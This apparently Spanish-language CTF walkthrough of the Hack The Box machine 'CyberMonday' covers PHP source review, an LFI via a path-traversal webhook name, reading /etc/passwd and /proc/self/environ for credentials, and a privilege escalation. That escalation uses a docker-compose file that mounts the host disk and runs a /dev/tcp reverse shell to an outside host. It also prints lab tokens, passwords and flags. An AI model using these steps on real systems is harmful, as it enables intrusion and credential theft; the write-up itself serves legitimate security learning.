[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : dc968f4da64f18861801f2c677d2460c4cc530f2e64232f1a23021a9760ffdae
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : 1684de57270ea8328d20b9d17cda5091ec9de632dbba9622cce10b82c2b20e62
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : affe9439d2a25f35605a4fe59d9de9e65ba27de2403820981b091ce366b6ce70
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : 5b5fe70539cd6989aa19f25826309f9715a9489cf1c057982d6a84c1ad8975c7
Los ordeno por tamaño de archivo
du -hc *.gz
100M 1684de57270ea8328d20b9d17cda5091ec9de632dbba9622cce10b82c2b20e62.tar.gz
15M 1696d1b2f2c3c8b37ae902dfd60316f8928a31ff8a5ed0a2f9bbf255354bdee8.tar.gz
4.0K 4756652e14e0fb6403c377eb87fd1ef557abc7864bf93bf7c25e19f91183ce2c.tar.gz
4.0K 57cdb531a15a172818ddf3eea38797a2f5c4547a302b65ab663bac6fc7ec4d4f.tar.gz
12M 57fbc4474c06c29a50381676075d9ee5e8dca9fee0821045d0740a5bc572ec95.tar.gz
28M 5b5fe70539cd6989aa19f25826309f9715a9489cf1c057982d6a84c1ad8975c7.tar.gz
35M 5c3b6a1cbf5455e10e134d1c129041d12a8364dac18a42cf6333f8fee4762f33.tar.gz
4.0K 9f5fbfd5edfcaf76c951d4c46a27560120a1cd6a172bf291a7ee5c2b42afddeb.tar.gz
4.0K a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz
4.0K affe9439d2a25f35605a4fe59d9de9e65ba27de2403820981b091ce366b6ce70.tar.gz
512K beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.tar.gz
116K ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1.tar.gz
512K ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e.tar.gz
4.0K dc968f4da64f18861801f2c677d2460c4cc530f2e64232f1a23021a9760ffdae.tar.gz
190M total
Uno de ellos, el beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.tar.gz
contiene el directorio /var/www/html
, que es el código fuente de la API (webhooks)
ls
app bootstrap.php composer.json composer.lock config.php keys public vendor
Examino el archivo app/helpers/Api.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
namespace app\helpers;
use app\helpers\Request;
abstract class Api
{
protected $data;
protected $user;
private $api_key;
public function __construct()
{
$method = Request::method();
if(!isset($_SERVER['CONTENT_TYPE']) && $method != "get" || $method != "get" && $_SERVER['CONTENT_TYPE'] != "application/json")
{
return http_response_code(404);
}
header('Content-type: application/json; charset=utf-8');
$this->data = json_decode(file_get_contents("php://input"));
}
public function auth()
{
if(!isset($_SERVER["HTTP_X_ACCESS_TOKEN"]) || empty($_SERVER["HTTP_X_ACCESS_TOKEN"]))
{
return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
}
$token = $_SERVER["HTTP_X_ACCESS_TOKEN"];
$decoded = decodeToken($token);
if(!$decoded)
{
return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
}
$this->user = $decoded;
}
public function apiKeyAuth()
{
$this->api_key = "22892e36-1770-11ee-be56-0242ac120002";
if(!isset($_SERVER["HTTP_X_API_KEY"]) || empty($_SERVER["HTTP_X_API_KEY"]) || $_SERVER["HTTP_X_API_KEY"] != $this->api_key)
{
return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
}
}
public function admin()
{
$this->auth();
if($this->user->role != "admin")
{
return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
}
}
public function response(array $data, $status = 200) {
http_response_code($status);
die(json_encode($data));
}
}
Por alguna razón se está empleando la cabecera X_API_KEY
. Es posible leer los logs que se crean con un webhook, ya que está definido en el archivo app/controllers/LogsController.php
. Además, es vulnerable a LFI al tener el control sobre la variable $logPath
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
namespace app\controllers;
use app\helpers\Api;
use app\models\Webhook;
class LogsController extends Api
{
public function index($request)
{
$this->apiKeyAuth();
$webhook = new Webhook;
$webhook_find = $webhook->find("uuid", $request->uuid);
if(!$webhook_find)
{
return $this->response(["status" => "error", "message" => "Webhook not found"], 404);
}
if($webhook_find->action != "createLogFile")
{
return $this->response(["status" => "error", "message" => "This webhook was not created to manage logs"], 400);
}
$actions = ["list", "read"];
if(!isset($this->data->action) || empty($this->data->action))
{
return $this->response(["status" => "error", "message" => "\"action\" not defined"], 400);
}
if($this->data->action == "read")
{
if(!isset($this->data->log_name) || empty($this->data->log_name))
{
return $this->response(["status" => "error", "message" => "\"log_name\" not defined"], 400);
}
}
if(!in_array($this->data->action, $actions))
{
return $this->response(["status" => "error", "message" => "invalid action"], 400);
}
$logPath = "/logs/{$webhook_find->name}/";
switch($this->data->action)
{
case "list":
$logs = scandir($logPath);
array_splice($logs, 0, 1); array_splice($logs, 0, 1);
return $this->response(["status" => "success", "message" => $logs]);
case "read":
$logName = $this->data->log_name;
if(preg_match("/\.\.\//", $logName))
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
$logName = str_replace(' ', '', $logName);
if(stripos($logName, "log") === false)
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
if(!file_exists($logPath.$logName))
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
$logContent = file_get_contents($logPath.$logName);
return $this->response(["status" => "success", "message" => $logContent]);
}
}
}
Creo un log a través del webhook que viene por defecto
POST /webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77 HTTP/1.1
Host: webhooks-api-beta.cybermonday.htb
User-Agent: curl/7.88.1
Accept: */*
x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJydWJieCIsInJvbGUiOiJhZG1pbiJ9.bsb1EJW-SlTxHvyBRHcxT4Btw2OYoBiA2Ga3jpDmXSE
Connection: close
Content-Type: application/json
Content-Length: 41
{"log_name":"test", "log_content":"test"}
Proporcionando el X-Api-Key
lo puedo listar
POST /webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77/logs HTTP/1.1
Host: webhooks-api-beta.cybermonday.htb
User-Agent: curl/7.88.1
Accept: */*
x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJydWJieCIsInJvbGUiOiJhZG1pbiJ9.bsb1EJW-SlTxHvyBRHcxT4Btw2OYoBiA2Ga3jpDmXSE
X-Api-Key: 22892e36-1770-11ee-be56-0242ac120002
Connection: close
Content-Type: application/json
Content-Length: 21
{"action":"list"}
HTTP/1.1 200 OK
Server: nginx/1.25.1
Date: Wed, 23 Aug 2023 16:11:02 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Host: webhooks-api-beta.cybermonday.htb
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=3c275b2993afe09d4ab97a5de09af78d; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 120
{"status":"success","message":["test-1692782721.log"]}
Y finalmente leer
{"action":"read","log_name":"test-1692782721.log"}
{"status":"success","message":"test\n"}
Me conecto a la base de datos
proxychains mysql -h db -u'root' -p'root'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 14
Server version: 8.0.33 MySQL Community Server - GPL
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> use webhooks_api;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
Listo las tablas
MySQL [webhooks_api]> show tables;
+------------------------+
| Tables_in_webhooks_api |
+------------------------+
| users |
| webhooks |
+------------------------+
2 rows in set (0.150 sec)
En webhooks
hay una columna con el nombre, que corresponde a la variable vulnerable al LFI
MySQL [webhooks_api]> select * from webhooks;
+----+--------------------------------------+-------+-------------------+---------------+
| id | uuid | name | description | action |
+----+--------------------------------------+-------+-------------------+---------------+
| 1 | fda96d32-e8c8-4301-8fb3-c821a316cf77 | tests | webhook for tests | createLogFile |
| 2 | 2a370bff-35c6-4722-8a4f-51926c7d1efb | test | test | sendRequest |
+----+--------------------------------------+-------+-------------------+---------------+
Creo un nuevo webhook
con identificador 3
y en el nombre añado en un path traversal
MySQL [webhooks_api]> INSERT INTO webhooks VALUES (3,'fda96d32-e8c8-4301-8fb3-c821a316cf78', '../../../../../../../', 'd','createLogFile');
Query OK, 1 row affected (0.136 sec)
Obtengo el /etc/passwd
POST /webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf78/logs HTTP/1.1
Host: webhooks-api-beta.cybermonday.htb
User-Agent: curl/7.88.1
Accept: */*
x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJydWJieCIsInJvbGUiOiJhZG1pbiJ9.bsb1EJW-SlTxHvyBRHcxT4Btw2OYoBiA2Ga3jpDmXSE
X-Api-Key: 22892e36-1770-11ee-be56-0242ac120002
Connection: close
Content-Type: application/json
Content-Length: 56
{"action":"read","log_name":"logs/. ./etc/passwd"}
{"status":"success","message":"root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\n_apt:x:42:65534::\/nonexistent:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n"}
En el /proc/self/environ
se encuentra hardcodeada la contraseña de acceso a la base de datos, ngFfX2L71Nu
{"status":"success","message":"HOSTNAME=e1862f4e1242\u0000PHP_INI_DIR=\/usr\/local\/etc\/php\u0000HOME=\/root\u0000PHP_LDFLAGS=-Wl,-O1 -pie\u0000PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\u0000DBPASS=ngFfX2L71Nu\u0000PHP_VERSION=8.2.7\u0000GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC\u0000PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\u0000PHP_ASC_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz.asc\u0000PHP_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz\u0000DBHOST=db\u0000DBUSER=dbuser\u0000PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\u0000DBNAME=webhooks_api\u0000PHPIZE_DEPS=autoconf \t\tdpkg-dev \t\tfile \t\tg++ \t\tgcc \t\tlibc-dev \t\tmake \t\tpkg-config \t\tre2c\u0000PWD=\/var\/www\/html\u0000PHP_SHA256=4b9fb3dcd7184fe7582d7e44544ec7c5153852a2528de3b6754791258ffbdfa0\u0000"}
Si miro la montura del contenedor, se puede ver que en el directorio .ssh
hay una clave pública para el usuario john
www-data@070370e2cdc4:/mnt/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCy9ETY9f4YGlxIufnXgnIZGcV4pdk94RHW9DExKFNo7iEvAnjMFnyqzGOJQZ623wqvm2WS577WlLFYTGVe4gVkV2LJm8NISndp9DG9l1y62o1qpXkIkYCsP0p87zcQ5MPiXhhVmBR3XsOd9MqtZ6uqRiALj00qGDAc+hlfeSRFo3epHrcwVxAd41vCU8uQiAtJYpFe5l6xw1VGtaLmDeyektJ7QM0ayUHi0dlxcD8rLX+Btnq/xzuoRzXOpxfJEMm93g+tk3sagCkkfYgUEHp6YimLUqgDNNjIcgEpnoefR2XZ8EuLU+G/4aSNgd03+q0gqsnrzX3Syc5eWYyC4wZ93f++EePHoPkObppZS597JiWMgQYqxylmNgNqxu/1mPrdjterYjQ26PmjJlfex6/BaJWTKvJeHAemqi57VkcwCkBA9gRkHi9SLVhFlqJnesFBcgrgLDeG7lzLMseHHGjtb113KB0NXm49rEJKe6ML6exDucGHyHZKV9zgzN9uY4ntp2T86uTFWSq4U2VqLYgg6YjEFsthqDTYLtzHer/8smFqF6gbhsj7cudrWap/Dm88DDa3RW3NBvqwHS6E9mJNYlNtjiTXyV2TNo9TEKchSoIncOxocQv0wcrxoxSjJx7lag9F13xUr/h6nzypKr5C8GGU+pCu70MieA8E23lWtw== john@cybermonday
www-data@070370e2cdc4:/mnt/.ssh$
Me conecto como este usuario con la anterior contraseña. Puedo ver la primera flag
ssh john@cybermonday.htb
john@cybermonday.htb's password:
Linux cybermonday 5.10.0-24-amd64 #1 SMP Debian 5.10.179-5 (2023-08-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug 23 07:22:02 2023 from 10.10.16.12
john@cybermonday:~$ cat user.txt
86bccf510fbf37d0c6732cb328820c62
Escalada
Tengo un privilegio a nivel de sudoers
john@cybermonday:~$ sudo -l
[sudo] password for john:
Matching Defaults entries for john on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User john may run the following commands on localhost:
(root) /opt/secure_compose.py *.yml
Puedo ejecutar este script en python3
como el usuario root
, proporcionándole un yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal
def get_user():
return os.environ.get("SUDO_USER")
def is_path_inside_whitelist(path):
whitelist = [f"/home/{get_user()}", "/mnt"]
for allowed_path in whitelist:
if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
return True
return False
def check_whitelist(volumes):
for volume in volumes:
parts = volume.split(":")
if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
return False
return True
def check_read_only(volumes):
for volume in volumes:
if not volume.endswith(":ro"):
return False
return True
def check_no_symlinks(volumes):
for volume in volumes:
parts = volume.split(":")
path = parts[0]
if os.path.islink(path):
return False
return True
def check_no_privileged(services):
for service, config in services.items():
if "privileged" in config and config["privileged"] is True:
return False
return True
def main(filename):
if not os.path.exists(filename):
print(f"File not found")
return False
with open(filename, "r") as file:
try:
data = yaml.safe_load(file)
except yaml.YAMLError as e:
print(f"Error: {e}")
return False
if "services" not in data:
print("Invalid docker-compose.yml")
return False
services = data["services"]
if not check_no_privileged(services):
print("Privileged mode is not allowed.")
return False
for service, config in services.items():
if "volumes" in config:
volumes = config["volumes"]
if not check_whitelist(volumes) or not check_read_only(volumes):
print(f"Service '{service}' is malicious.")
return False
if not check_no_symlinks(volumes):
print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
return False
return True
def create_random_temp_dir():
letters_digits = string.ascii_letters + string.digits
random_str = ''.join(random.choice(letters_digits) for i in range(6))
temp_dir = f"/tmp/tmp-{random_str}"
return temp_dir
def copy_docker_compose_to_temp_dir(filename, temp_dir):
os.makedirs(temp_dir, exist_ok=True)
shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))
def cleanup(temp_dir):
subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
shutil.rmtree(temp_dir)
def signal_handler(sig, frame):
print("\nSIGINT received. Cleaning up...")
cleanup(temp_dir)
sys.exit(1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Use: {sys.argv[0]} <docker-compose.yml>")
sys.exit(1)
filename = sys.argv[1]
if main(filename):
temp_dir = create_random_temp_dir()
copy_docker_compose_to_temp_dir(filename, temp_dir)
os.chdir(temp_dir)
signal.signal(signal.SIGINT, signal_handler)
print("Starting services...")
result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print("Finishing services")
cleanup(temp_dir)
Creo mi propio yml
que utilice la imagen de docker ya existente (cybermonday_api) para crear un nuevo contenedor y enviarme una reverse shell en este. Añado la partición de la máquina host para poder acceder a ella desde el contenedor
1
2
3
4
5
6
7
version: "3.0"
services:
malicious-service:
image: cybermonday_api
devices:
- /dev/sda1:/dev/sda1
command: bash -c 'bash -i >& /dev/tcp/10.10.XX.XX/443 0>&1'
Una ver recibida la reverse shell, con debugfs
obtengo la segunda flag
john@cybermonday:~$ sudo /opt/secure_compose.py docker-compose.yml
Starting services...
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.12] from (UNKNOWN) [10.129.216.7] 36486
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@cfaca606b360:/var/www/html# debugfs /dev/sda1
debugfs /dev/sda1
debugfs 1.47.0 (5-Feb-2023)
debugfs: cat /root/root.txt
cat /root/root.txt
703152ccad7e3cafbac42a1a109d5864